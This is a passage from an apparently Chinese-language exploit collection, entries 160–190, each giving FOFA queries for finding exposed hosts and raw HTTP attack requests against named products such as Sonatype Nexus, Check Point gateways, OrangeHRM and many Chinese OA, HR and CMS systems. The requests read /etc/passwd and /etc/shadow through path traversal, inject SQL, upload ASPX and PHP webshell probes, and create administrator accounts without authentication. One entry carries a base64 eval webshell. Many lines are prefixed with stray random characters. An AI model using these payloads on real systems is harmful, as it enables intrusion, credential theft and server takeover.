+ O5 X4 @9 U, x+ D- Y; [<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
: s( n5 a0 ]2 N8 E2 `% k' L& K</jobUpload>
</soap:Body>
2 k/ x# l7 Q2 y- e</soap:Envelope>
+ w+ M$ c' `& T' E7 }
! Y: q0 {& A) L1 B# p8 a
/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")


1 ?" H2 e! S9 C/ {2 j: W160. Sonatype Nexus Repository 3目录遍历与文件读取
; O5 B7 j9 W+ W) X: t( ICVE-2024-4956
FOFA：title="Nexus Repository Manager"
GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
$ g4 k: R& d  `) M, ]Host: x.x.x.x
8 ^3 N8 I9 ]2 ~/ a4 Q( {* ZUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip


161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
FOFA：body="/KT_Css/qd_defaul.css"
, Z1 V% z! x; o' K' l/ M5 r第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
POST /Webservice.asmx HTTP/1.1
Host: x.x.x.x
) e* f: u  Q6 s* JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
( T, k% V6 ?1 _5 y# |% z& L! RConnection: close
Content-Length: 445
& Z; M. i! g0 n5 J+ aContent-Type: text/xml
) }1 r5 h% i8 [: c' S! l# mAccept-Encoding: gzip

0 s0 W- c, ?0 w8 u# R0 G/ C+ c<?xml version="1.0" encoding="utf-8"?>
- i) U$ {' _  l# G: r! u$ L9 g<soap:Envelope xmlns:xsi="
) m  Z4 c8 `! K  Y) Ahttp://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<UploadResume xmlns="http://tempuri.org/">
<ip>1</ip>
9 }3 K6 E8 d: a5 T1 U% t! O" P* N; G3 s<fileName>../../../../dizxdell.aspx</fileName>
1 Z  \6 j3 i. r* w<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
<tag>3</tag>
</UploadResume>
0 L4 a( u! o# U</soap:Body>
7 D9 g6 t* }+ C* k% t</soap:Envelope>

# r1 h/ X6 G$ F5 e( o2 U3 L
) Y! B, ?, f4 T- h8 |http://x.x.x.x/dizxdell.aspx
" h( t  p7 L* L& M4 a- D$ x0 f
8 |: g3 c% d: h* j7 N- N, D# ^162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
FOFA: app="和丰山海-数字标牌"
  G( ~4 p( |7 V* D6 O" I- vPOST /QH.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 583
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
Accept-Encoding: gzip

  }+ O$ |& Q9 W& {( f. |& Y) X------WebKitFormBoundaryeegvclmyurlotuey
) l: {; s) G) J: UContent-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
Content-Type: application/octet-stream
; W; Z* c0 ^9 `" I/ l+ Z
6 T6 Y/ l6 T# x1 v0 r<% response.write("ujidwqfuuqjalgkvrpqy") %>
------WebKitFormBoundaryeegvclmyurlotuey
+ k. \; w1 H& {! y! yContent-Disposition: form-data; name="action"

upload
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="responderId"

3 y( |& r+ J- P7 j$ [: OResourceNewResponder
------WebKitFormBoundaryeegvclmyurlotuey
4 x8 x. a+ _2 c4 i4 |/ w& T/ VContent-Disposition: form-data; name="remotePath"

  M0 y. b9 o  S! M! }+ L, t: F/opt/resources
------WebKitFormBoundaryeegvclmyurlotuey--
! w- p) f: c4 V6 T& t3 C6 O

http://x.x.x.x/opt/resources/kjuhitjgk.aspx
- B' H* W$ p& }- f
5 ~& u' v; D8 n% `) Y1 z5 q. S163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
7 @% Y: U/ U& k+ O% v% q4 mFOFA: icon_hash="-795291075"
POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
8 B, m/ v2 G% P7 i: xHost: x.x.x.x
3 |8 f3 r  |' [$ n- hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
5 Q- q2 u: t7 u7 \% i& CContent-Length: 293
Accept: */*
7 n( H8 k" R" I$ S$ I% a# ?9 @. fAccept-Encoding: gzip, deflate
' J' a+ K6 O8 i) N& j: W6 WAccept-Language: zh-CN,zh;q=0.9
4 X9 }7 _3 ^, O; o, w* ^Content-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod

------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="name"
. S$ y- t8 T# W% F2 J
/ b. l2 I2 ~/ X, x, {1 `: u1.php
------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="upfile"; filename="1.php"
Content-Type: image/jpeg

rvjhvbhwwuooyiioxega
* K0 D; e$ N8 P. y, ?$ \------iiqvnofupvhdyrcoqyuujyetjvqgocod--
& a' Z4 k. `& U1 i

, ~$ y! N6 Q/ T6 ]' ]+ \6 \. i9 M$ v164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
/ @% J  |4 K7 Y1 n5 c4 U; G2 NFOFA: title="智慧综合管理平台登入"
POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
1 D* M6 N$ S& \Content-Length: 288
: t$ M/ p  T+ N7 W' d/ I" m, ]/ PAccept: application/json, text/javascript, */*; q=0.01
# \7 _4 C1 R' t3 SAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
' m) [& v* w3 {  cConnection: close
Content-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
X-Requested-With: XMLHttpRequest
+ V: W( X1 N7 x; d: c! z+ r* P7 O* \% WAccept-Encoding: gzip
" W. a4 q, j; P) |+ l) q1 s
# J" P& I$ w* h% [1 c------dqdaieopnozbkapjacdbdthlvtlyl
Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
Content-Type: image/jpeg

% R7 z% d# j) v$ B<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
------dqdaieopnozbkapjacdbdthlvtlyl--


http://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx

9 P  e& ?8 g% J2 s0 z' B165. OrangeHRM 3.3.3 SQL 注入
CVE-2024-36428
2 a' w  g' [' [5 t2 ?' kFOFA: app="OrangeHRM-产品"
4 N! y' f# l* M8 O7 tURL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))

) }* Q' u' u6 Q0 o$ c5 V  D
2 t8 H0 I) B- u' F( r. m166. 中成科信票务管理平台SeatMapHandler SQL注入
FOFA：body="技术支持：北京中成科信科技发展有限公司"
POST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
Host:
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
8 P7 Y. P" _  B0 B5 zAccept-Encoding: gzip, deflate
- S1 }+ @; A/ MAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
( s( A/ b8 G$ U$ u( |7 KCookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
. ?% ~& x: ~  a/ T) TConnection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 89

% E' |. H5 s' v1 s4 ]1 TMethod=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE
. x5 J5 |9 l' ?  U+ y
& `8 \" f3 _6 {7 a; G, ~
2 i: T: L, K4 n, L  z# R) G167. 精益价值管理系统 DownLoad.aspx任意文件读取
9 \( C% E/ W: s/ [FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
9 x# Q. t6 n) a4 y7 b  o  E4 _GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
% h/ o8 E) K3 {- ^Host:
; A9 S8 S* o: Y8 h: AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
  R( }2 y: [9 ^6 k- k4 ]+ [Content-Type: application/x-www-form-urlencoded
3 P: c$ f$ I( wAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive


' b" U3 ?3 ^( E3 H: V! q1 x: o168. 宏景EHR OutputCode 任意文件读取
8 W2 @/ y! n  s/ j: DFOFA：app="HJSOFT-HCM"
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
. O6 q* Y; r1 o* HHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
; ?7 K' x& |0 N. {  o* x# jContent-Type: application/x-www-form-urlencoded
9 V4 M/ E3 K+ n$ w( pConnection: close
# N# e1 Z8 [( Z. W1 A


/ j, d5 {& H/ `/ z( D, o169. 宏景EHR downlawbase SQL注入
FOFA：app="HJSOFT-HCM"
GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
  Z; b& \! j" k) V4 X; r0 o! oAccept: */*
3 {4 s) M. l! |+ q3 r. b, wAccept-Encoding: gzip, deflate
Connection: close

3 e3 l6 x' |, Q3 ~& g4 s
8 s7 V1 S. Y- @0 h# w
4 L. L+ H% N  R; m0 e170. 宏景EHR DisplayExcelCustomReport 任意文件读取
FOFA：body="/general/sys/hjaxmanage.js"
- q( x0 A+ r& ?! u5 M- l1 b% _POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
+ J. n$ B( Y1 vHost: balalanengliang
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
, d- G9 e5 j$ d# F$ {$ `
filename=../webapps/ROOT/WEB-INF/web.xml


4 k5 m' j+ R3 m/ Q6 ?171. 通天星CMSV6车载定位监控平台 SQL注入
FOFA：body="/808gps/"
GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 x. i3 W- d2 e: @7 K8 YAccept-Encoding: gzip, deflate
Connection: close

6 H* d8 J( [, _2 m: i/ b0 \/ X
% l1 v! J; g; `
172. DT-高清车牌识别摄像机任意文件读取
) W) ~9 W6 [% m: i1 N% s) pFOFA：app="DT-高清车牌识别摄像机"
, m) W' T% w- C: g6 w" j* GGET /../../../../etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
% R. t, p$ h4 Y6 S; U2 @5 [% JAccept-Encoding: gzip, deflate
1 x. ~9 W/ S" E6 t8 h; o3 X9 ~Accept: */*
Connection: keep-alive

4 Z2 Z! f! O& J+ ?& F$ I9 `; ~
! X# Q$ j  G& u" A- }' L" w  l
* V: k9 v( Z# Y, Z7 Z/ e173. Check Point 安全网关任意文件读取
& \$ Y; q' _( j( ?9 SCVE-2024-24919
FOFA：app="Check_Point-SSL-Network-Extender"
POST /clients/MyCRL HTTP/1.1
+ j* j8 \% H' }5 ]& d& HHost: your-ip
Content-Type: application/x-www-form-urlencoded

: Q7 n" D* a1 w% A8 U8 o( eaCSHELL/../../../../../../../etc/shadow

$ J! d8 _: A' e/ B" `: r& n

174. 金和OA C6 FileDownLoad.aspx 任意文件读取
FOFA：app="金和网络-金和OA"
GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
Host: your-ip
8 E2 D9 l# i! m+ f2 }" JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
( D8 }% ?* Y2 V8 q4 \7 Y1 H- vAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
# w9 R8 n" O3 ^6 ?8 K) u8 L8 S
. |& N  H2 N' W: ~2 ^  F

/ y, z6 D+ q4 k9 A* c( o' O( m6 |175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
3 }/ i# R! r' O8 B5 {" z9 Q7 d6 {FOFA：app="金和网络-金和OA"
GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
Host:
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
2 m! M7 P# Z7 S8 i% V$ wAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
7 e( {8 N; Y- G" EConnection: close
0 c3 b' V/ n5 b* Y5 _, }$ {4 W9 i* {Upgrade-Insecure-Requests: 1

$ m$ x( H. n! [
176. 电信网关配置管理系统 rewrite.php 文件上传
FOFA：body="img/login_bg3.png" && body="系统登录"
) O5 o9 J3 @# E8 M- D  ZPOST /manager/teletext/material/rewrite.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
Connection: close
$ j/ I/ L* b/ q8 [/ f- {* b
! \9 v$ V( O: [) a------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
Content-Type: image/png

<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="uploadtime"
. ?( z8 R9 [0 v, R, D( E
/ F; `3 B  T" F1 [2 n$ X7 `
, }5 q# B/ U8 s! J7 y# y1 o7 [$ G: |------WebKitFormBoundaryOKldnDPT--
4 a  ?+ V4 s+ _; o
# T/ A! n$ _0 J* k

177. H3C路由器敏感信息泄露
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../M60.cfg
* v4 }! T1 Z* W4 S  j% {4 Y% Z/userLogin.asp/../actionpolicy_status/../GR8300.cfg
/userLogin.asp/../actionpolicy_status/../GR5200.cfg
/userLogin.asp/../actionpolicy_status/../GR3200.cfg
/userLogin.asp/../actionpolicy_status/../GR2200.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
8 P3 D$ N: O9 j5 p& x/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
$ F4 K0 e8 n6 I7 s/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200.cfg
/userLogin.asp/../actionpolicy_status/../ER5100.cfg
/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3260.cfg
/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
5 |6 j; ]( D4 z2 ?/userLogin.asp/../actionpolicy_status/../ER3200.cfg
/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
" r5 H, _0 f+ S+ I* f3 }/ y/ F/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
4 H9 w$ x5 Q4 {2 _/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
0 D5 v% h+ ?8 e/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg
3 l. A5 D0 Z" R+ {+ @

178. H3C校园网自助服务系统-flexfileupload-任意文件上传
FOFA：header="/selfservice"
POST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
  U& @+ H; l6 w0 s) d: q; X# Y/ eHost:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
1 R+ h3 j8 W6 U% T- D+ MContent-Length: 252
Accept-Encoding: gzip, deflate
/ I  n6 m7 l. b* x+ \- ~0 jConnection: close
6 {5 |4 y% ]5 h0 KContent-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
-----------------aqutkea7vvanpqy3rh2l
Content-Disposition: form-data; name="12234.txt"; filename="12234"
: i2 P! i5 u. o, l! b  kContent-Type: application/octet-stream
Content-Length: 255

12234
4 M- `, C: C" h1 m-----------------aqutkea7vvanpqy3rh2l--
) g- G: Q* |) y' }7 Y
' o5 A& e8 }, E! M# v8 A8 \5 b( E
* x; X- O) C6 @( ]GET /imc/primepush/%2e%2e/flex/12234.txt

) I4 k4 C. I$ I: b: B5 X' @
179. 建文工程管理系统存在任意文件读取
POST /Common/DownLoad2.aspx HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0

% Q4 h, ^! P8 A! ]7 |6 z3 ^path=../log4net.config&Name=


180. 帮管客 CRM jiliyu SQL注入
FOFA：app="帮管客-CRM"
6 S' @! x- Q. I! xGET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
, M% {  J1 l& {% K5 g% d/ `; cAccept-Encoding: gzip, deflate
! \+ K4 Q0 \6 B! vAccept-Language: zh-CN,zh;q=0.9
3 z- B. q9 M# h3 q# J0 n$ T  gConnection: close


181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
$ L5 f. k, W# f7 C! K6 J8 J. cFOFA："PDCA/js/_publicCom.js"
% j+ L2 R6 J" ^POST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
" L+ p3 V; l8 {* O7 r: ?Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
4 a: B/ }3 E, u' L" G5 e" P) JAccept-Language: zh-CN,zh;q=0.9
Connection: close
- @/ ~4 G9 ?( U2 K( H# FContent-Type: application/x-www-form-urlencoded
( ]- g6 s2 ^1 a% I9 }6 {
" P4 n+ S" |) ~
5 }) w2 L" f6 \* g# _- taction=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20


182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
7 @3 o1 J0 j0 r  D3 M5 [/ p2 EFOFA："PDCA/js/_publicCom.js"
" \# ]  m$ U4 {* _4 @$ }POST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
2 j& }' I5 q6 q5 QAccept-Language: zh-CN,zh;q=0.9
, Y& K+ \, A. q( Z& R' A/ e8 aConnection: close
- G- _. b1 g2 }( V4 P9 dContent-Type: application/x-www-form-urlencoded
4 K& T( V5 C) L! [4 L0 p1 ?
% G# f& i5 J9 R
username=test1234&pwd=test1234&savedays=1


* J4 F4 e, y8 \8 I9 U" z, U2 B183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
FOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
% I2 M: U4 g: S0 C, YHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
: K' T/ E% `. n+ L7 _  O* [Accept-Charset: utf-8
: V$ G+ L7 u- G7 l" ?( \* VAccept-Encoding: gzip, deflate
' z9 b% S& X+ zConnection: close

- ?, e+ \0 r9 c* u! Z3 y. x5 n
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
$ Q( S3 k, {* w1 XFOFA：server="SunFull-Webs"
POST /soap/AddUser HTTP/1.1
Host: your-ip
3 a) k- m0 M# A: SAccept-Encoding: gzip, deflate
5 ?2 ]) U7 |3 A- ~5 SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
+ f( v. \4 Z; o0 p1 p! a; QAccept: application/xml, text/xml, */*; q=0.01
Content-Type: text/xml; charset=utf-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
3 [( u' ]! @% a" @3 k* F+ ?X-Requested-With: XMLHttpRequest


insert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')

  `, r1 j- g  O( K2 M
185. 瑞友天翼应用虚拟化系统SQL注入
" [) `& n, U1 n4 |5 Q0 c/ Pversion < 7.0.5.1
FOFA：app="REALOR-天翼应用虚拟化系统"
GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
Host: host

7 W9 K2 t' T+ \. W
186. F-logic DataCube3 SQL注入
CVE-2024-31750
0 o7 h* l: x9 f& `/ ]F-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
FOFA：title=="DataCube3"
% m4 f$ L% G5 v/ JPOST /admin/pr_monitor/getting_index_data.php HTTP/1.1
/ x3 T7 X: W7 M8 \% dHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
- w# n, `' N1 {2 A4 K( ZAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
5 u7 i5 G1 T1 R" ^5 [Connection: close
Content-Type: application/x-www-form-urlencoded
4 G- c4 C3 K$ Q& z' x( e1 v5 d
$ u6 H. T( D0 e. p, [req_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450


187. Mura CMS processAsyncObject SQL注入
CVE-2024-32640
7 Q  l6 e+ C. a# [  }. J& f/ YFOFA："Mura CMS"
; {8 w' o& [  w) ePOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded

& J  y5 g; c( @0 v1 e; d
& c) ?6 ]: c. O; F$ B3 Eobject=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1


/ A: ?  V% ?/ }8 H: b  R8 W  P188. 叁体-佳会视频会议 attachment 任意文件读取
5 Y( t5 U# ]9 G7 Gversion <= 3.9.7
FOFA：body="/system/get_rtc_user_defined_info?site_id"
2 P9 z: |2 P8 e; ~! GGET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
9 x$ y2 \7 m5 q1 V  h% EUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
; s4 N8 I% X6 W2 j' L, \; \- kAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
# @( K. ^+ I: ?7 k4 z% zAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close


189. 蓝网科技临床浏览系统 deleteStudy SQL注入
FOFA：app="LANWON-临床浏览系统"
GET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
9 {0 c' y4 A  f3 s4 jHost: your-ip
. t9 f/ c6 j& [, v0 t: p$ [- p+ \User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
( ]2 V2 v$ G9 C6 `6 h+ KAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
4 ^% V" p. @9 j: X/ R" y( G6 RConnection: close
! m; e1 E6 h! F5 \' G

  Y3 r/ |+ O/ \190. 短视频矩阵营销系统 poihuoqu 任意文件读取
FOFA：title=="短视频矩阵营销系统"
- I" E: r$ W% _9 y  s2 M( DPOST /index.php/admin/Userinfo/poihuoqu HTTP/2
# x# l3 A" b6 P! f' x' M+ dHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
